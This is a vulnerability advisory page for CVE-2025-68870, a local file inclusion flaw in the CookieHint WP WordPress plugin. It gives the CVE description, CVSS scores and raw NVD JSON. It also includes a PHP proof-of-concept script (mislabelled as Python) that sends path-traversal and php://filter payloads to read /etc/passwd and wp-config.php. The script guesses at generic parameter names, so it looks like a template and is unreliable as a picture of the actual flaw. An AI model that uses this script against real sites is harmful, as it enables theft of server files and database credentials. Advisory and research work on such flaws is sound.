Security Vulnerability Report
中文
CVE-2025-68870 CVSS 7.5 HIGH

CVE-2025-68870

Published: 2025-12-29 17:15:47
Last Modified: 2026-04-23 15:36:11

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in reDim GmbH CookieHint WP cookiehint-wp allows PHP Local File Inclusion.This issue affects CookieHint WP: from n/a through <= 1.0.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

cookiehint-wp <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-68870 PoC - CookieHint WP Local File Inclusion * Target: WordPress Plugin cookiehint-wp <= 1.0.0 * Type: Local File Inclusion (LFI) * * Usage: Modify TARGET_URL and run with PHP CLI * Note: This PoC demonstrates reading sensitive files via LFI */ // Configuration $targetUrl = 'http://target-site.com/wp-content/plugins/cookiehint-wp/'; // Common vulnerable parameter names for LFI in WordPress plugins $params = ['file', 'page', 'view', 'include', 'load', 'template']; // Files to attempt reading $filesToRead = [ '../../../../../../../../etc/passwd', '../../../../../../../../wp-config.php', '../../../../../../../../../../../var/www/html/wp-config.php', 'php://filter/convert.base64-encode/resource=../wp-config.php' ]; // Function to test LFI vulnerability function testLFI($baseUrl, $param, $file) { $url = $baseUrl . '?' . $param . '=' . urlencode($file); $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => 10, 'ignore_errors' => true ] ]); $response = @file_get_contents($url, false, $context); return $response; } // Example exploitation scenarios echo "=== CVE-2025-68870 LFI PoC ===\n"; echo "Target: " . $targetUrl . "\n\n"; // Test each file foreach ($filesToRead as $file) { foreach ($params as $param) { $result = testLFI($targetUrl, $param, $file); if ($result && strlen($result) > 0 && stripos($result, 'root:') !== false || stripos($result, 'DB_NAME') !== false) { echo "[+] VULNERABLE! Parameter: $param\n"; echo "[+] File: $file\n"; echo substr($result, 0, 500) . "\n\n"; } } } echo "PoC execution completed.\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68870", "sourceIdentifier": "[email protected]", "published": "2025-12-29T17:15:47.067", "lastModified": "2026-04-23T15:36:10.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in reDim GmbH CookieHint WP cookiehint-wp allows PHP Local File Inclusion.This issue affects CookieHint WP: from n/a through <= 1.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/cookiehint-wp/vulnerability/wordpress-cookiehint-wp-plugin-1-0-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}